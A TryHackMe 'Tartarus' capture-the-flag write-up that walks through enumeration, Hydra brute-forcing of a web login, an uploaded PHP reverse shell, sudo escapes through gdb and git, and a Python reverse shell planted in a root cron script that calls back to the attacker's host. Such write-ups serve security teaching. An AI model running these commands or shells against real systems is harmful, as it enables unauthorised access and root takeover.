25 September 2020 / TRYHACKME, CTF, EASY Tartarus Write Up Overview Tartarus is an fun easy room from TryHackMe. We have two tasks to complete, finding both the user and root flag. Typical CTF style room. Nmap TryHackMe will assign a dynamic IP as part of the deployment, I’ve edited my /etc/hosts file with the name of the box and the assigned IP. I started by doing an nmap scan to check what ports are open. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $sudo nmap -sC -sV -oA nmap/initial tartarus Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-26 16:16 BST Nmap scan report for tartarus (10.10.30.144) Host is up (0.026s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.8.21.217 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 98:6c:7f:49:db:54:cb:36:6d:d5:ff:75:42:4c:a7:e0 (RSA) | 256 0c:7b:1a:9c:ed:4b:29:f5:3e:be:1c:9a:e4:4c:07:2c (ECDSA) |_ 256 50:09:9f:c0:67:3e:89:93:b0:c9:85:f1:93:89:50:68 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds 3 Ports open: 21 - FTP - Anonymous login allowed which is interesting will need to check what files and access is available 22 - SSH - Banner is showing its an Ubuntu machine 80 - HTTP - Apache web server SSH has a smaller attack surface than the other ports so will leave that for now, I decided to look at FTP first. Enumeration Using the ftp utility I was able to login using the username ‘anonymous’ and password ‘anonymous’. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $ftp tartarus Connected to tartarus. 220 (vsFTPd 3.0.3) Name (tartarus:daz): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt 226 Directory send OK. ftp> ls -lah 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 . drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .. drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 ... -rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt 226 Directory send OK. ftp> Just one file test.txt, but what is also interesting is ‘…’ which is a folder. Typically you would find . (current directory) and .. (parent directory). Next I downloaded the test.txt file and checked the … directory. ftp> get test.txt local: test.txt remote: test.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for test.txt (17 bytes). 226 Transfer complete. 17 bytes received in 0.00 secs (38.8795 kB/s) ftp> cd ... 250 Directory successfully changed. ftp> ls -lah 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 . drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .. drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 ... 226 Directory send OK. ftp> cd ... 250 Directory successfully changed. ftp> ls -lah 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 Jul 05 21:31 . drwxr-xr-x 3 ftp ftp 4096 Jul 05 21:31 .. -rw-r--r-- 1 ftp ftp 14 Jul 05 21:45 yougotgoodeyes.txt 226 Directory send OK. ftp> get yougotgoodeyes.txt local: yougotgoodeyes.txt remote: yougotgoodeyes.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for yougotgoodeyes.txt (14 bytes). 226 Transfer complete. 14 bytes received in 0.00 secs (19.1215 kB/s) ftp> exit 221 Goodbye. Navigating to … lists another folder called … but now we find another text file called yougotgoodeyes.txt. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $cat test.txt vsftpd test file ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $cat yougotgoodeyes.txt /sUp3r-s3cr3t test.txt doesn’t give us anything to interesting, nmap was able to identify the FTP server was vsftpd. However, yougotgoodeyes.txt provides what looks like a web directory. Next step is to move on to port 80 and see what we can find. While I was reviewing FTP I had gobuster and nikto running in the background to enumerate the web service. The webpage just displays the default apache page, I checked the source code but nothing stood out. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $gobuster dir -u http://tartarus -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://tartarus [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/26 16:32:10 Starting gobuster =============================================================== /server-status (Status: 403) =============================================================== 2020/09/26 16:34:00 Finished =============================================================== Gobuster also didn’t reveal anything. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $nikto -host http://tartarus - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.30.144 + Target Hostname: tartarus + Target Port: 80 + Start Time: 2020-09-26 16:31:43 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + "robots.txt" contains 1 entry which should be manually viewed. + Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 5a9b87b015a4a, mtime: gzip + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Allowed HTTP Methods: OPTIONS, GET, HEAD, POST + OSVDB-3233: /icons/README: Apache default file found. + 7686 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2020-09-26 16:35:39 (GMT1) (236 seconds) --------------------------------------------------------------------------- + 1 host(s) tested Nikto was able to find robots.txt with one entry. Great now I have the admin directory and a potential username ‘d4rckh’. Checking out the admin-dir I found to files credentials.txt and userid. I download each to my machine. userid - Is a list of random usernames credentials.txt - Is a list of common passwords We could use these to brute force SSH but first I will look at the directory ‘/sUp3r-s3cr3t/’ found on the FTP service. I bet the username/password lists we found are to be used here, I tried to login with admin/admin. But I get the error ‘Incorrect username!’. Its highlighting the username is wrong, not the username or password is wrong. I can use this error message along with the userid file to find the correct username(s). ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $hydra -L userid -p "test" tartarus http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect username!" Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-26 16:53:45 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:13/p:1), ~1 try per task [DATA] attacking http-post-form://10.10.30.144:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect username! [80][http-post-form] host: 10.10.30.144 login: <HIDDEN> password: test 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-26 16:53:55 I used hydra to test each of the usernames to see which were failed. -L - username file -p - I used “test” as a place holder password for now tartarus - The target http-post-form - Perform a POST request /sUp3r-s3cr3t/authenticate.php: - Is the directory/webpage to target username=^USER^&password=^PASS^&Login=Login: - These are the values the webpage is expecting, ^^ tell Hydra what to populate in those fields. Incorrect username! - Tells hydra what a failed message will include We have a username, I repeated the process but this time to check for the password. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $hydra -l <HIDDEN> -P credentials.txt 10.10.30.144 http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect password!" Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-26 17:02:23 [DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~7 tries per task [DATA] attacking http-post-form://10.10.30.144:80/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^&Login=Login:Incorrect password! [80][http-post-form] host: 10.10.30.144 login: <HIDDEN> password: <HIDDEN> 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-26 17:02:24 All I need to change was the error message, the username and password flags and values. Now with the username and password I will try and log in. It worked and now im presented with a upload page, first thing that comes to mind is a PHP reverse shell. First I will gobuster for other directories. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $gobuster dir -u http://tartarus/sUp3r-s3cr3t -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://tartarus/sUp3r-s3cr3t [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/26 17:12:07 Starting gobuster =============================================================== /images (Status: 301) =============================================================== 2020/09/26 17:20:54 Finished =============================================================== Inside images is a folder called uploads, this is what I needed. Now I know where my shell will be uploaded. Initial Access First I copy a php reverse shell script from my webshells directory found on both ParrotOS and Kali and rename it to shell.php. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $cp /usr/share/webshells/php/php-reverse-shell.php . ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $mv php-reverse-shell.php shell.php Editing the script I will keep port as 1234 for now and change the IP to point to my VPN IP. set_time_limit (0); $VERSION = "1.0"; $ip = '127.0.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; Now I start my netcat listener ready for my shell (hopefully). ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $nc -nvlp 1234 listening on [any] 1234 ... File uploaded. As expected the shell.php script was uploaded to /images/uploads/ ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $nc -nvlp 1234 listening on [any] 1234 ... connect to [10.8.21.217] from (UNKNOWN) [10.10.30.144] 52738 Linux ubuntu-xenial 4.4.0-184-generic #214-Ubuntu SMP Thu Jun 4 10:14:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 16:18:28 up 1:10, 0 users, load average: 0.10, 0.05, 0.01 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ Now we have a shell I will go hunting for the user flag. $ cd /home $ ls cleanup d4rckh thirtytwo $ cd d4rckh $ ls cleanup.py user.txt $ cat user.txt 0f7dbb2243e692e<HIDDEN> Ive redacted half the flag. Now its time to get root! Priv Esc First I upgrade my shell. $ python -c 'import pty; pty.spawn("/bin/bash")' In d4rckh home directory is a python script cleanup.py. Even as www-data you can edit that file and use it to get a reverse shell as root. However I don’t believe this is the indented path just yet, first we need to become the d4rckh user. When I first get a shell on machine I always run ‘sudo -l’ to check for a quick win. www-data@ubuntu-xenial:/home/d4rckh$ sudo -l Matching Defaults entries for www-data on ubuntu-xenial: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu-xenial: (thirtytwo) NOPASSWD: /var/www/gdb www-data@ubuntu-xenial:/home/d4rckh$ Im not disappointed, we can run the command gdb as the user thirtytwo. A quick look on GTFObins shows I can use gdb to priv esc to the thirtytwo user. www-data@ubuntu-xenial:/home/d4rckh sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". $ $ id uid=1004(thirtytwo) gid=1004(thirtytwo) groups=1004(thirtytwo) $ cd /home/thirtytwo $ ls note.txt $ cat note.txt Hey 32, the other day you were unable to clone my github repository. Now you can use git. Took a while to fix it but now its good :) ~D4rckh $ Now has user thirtytwo I navigate to the home directory and find a note from D4rckh. So again I checked ‘sudo -l’. $ sudo -l Matching Defaults entries for thirtytwo on ubuntu-xenial: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thirtytwo may run the following commands on ubuntu-xenial: (d4rckh) NOPASSWD: /usr/bin/git $ Following the same processes before, I checked GTFO bins and found a a priv esc path using git. $ sudo -u d4rckh /usr/bin/git -p help config GIT-CONFIG(1) Git Manual GIT-CONFIG(1) NAME git-config - Get and set repository or global options SYNOPSIS git config [<file-option>] [type] [-z|--null] name [value [value_regex]] git config [<file-option>] [type] --add name value git config [<file-option>] [type] --replace-all name value [value_regex] git config [<file-option>] [type] [-z|--null] --get name [value_regex] git config [<file-option>] [type] [-z|--null] --get-all name [value_regex] git config [<file-option>] [type] [-z|--null] [--name-only] --get-regexp name_regex [value_regex] git config [<file-option>] [type] [-z|--null] --get-urlmatch name URL git config [<file-option>] --unset name [value_regex] git config [<file-option>] --unset-all name [value_regex] git config [<file-option>] --rename-section old_name new_name git config [<file-option>] --remove-section name git config [<file-option>] [-z|--null] [--name-only] -l | --list git config [<file-option>] --get-color name [default] git config [<file-option>] --get-colorbool name [stdout-is-tty] git config [<file-option>] -e | --edit !/bin/bash d4rckh@ubuntu-xenial:~$ Now I’m the user d4rckh I can go back to the users home directory and look at the cleanup.up script. d4rckh@ubuntu-xenial:/home/d4rckh$ cat cleanup.py # -*- coding: utf-8 -*- #!/usr/bin/env python import os import sys try: os.system('rm -r /home/cleanup/* ') except: sys.exit() Reading the script it looks like something that would be ran via cronjob. Lets see what jobs are on the machine. d4rckh@ubuntu-xenial:/home/d4rckh$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */2 * * * * root python /home/d4rckh/cleanup.py 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # d4rckh@ubuntu-xenial:/home/d4rckh$ Perfect, so that script is being run by root. Lets modify to provide us with another reverses shell. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $nc -nvlp 8080 listening on [any] 8080 ... First start another netcat listener. d4rckh@ubuntu-xenial:/home/d4rckh$ cat cleanup.py # -*- coding: utf-8 -*- #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("<HIDDEN>",8080)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) I grabbed the python reverse shell from pentestmonkey and replaced the code in the script. Now I just need to wait for the reverse shell. ┌─[daz@parrot]─[~/Documents/TryHackMe/Tartarus] └──╼ $nc -nvlp 8080 listening on [any] 8080 ... connect to [10.8.21.217] from (UNKNOWN) [10.10.30.144] 33596 /bin/sh: 0: can't access tty; job control turned off # whoami root # cd /root/ # cat root.txt 7e055812184a5fa<HIDDEN> # Root dance! Thanks for reading! ============================================================ Any comments or feedback welcome! You can find me on twitter.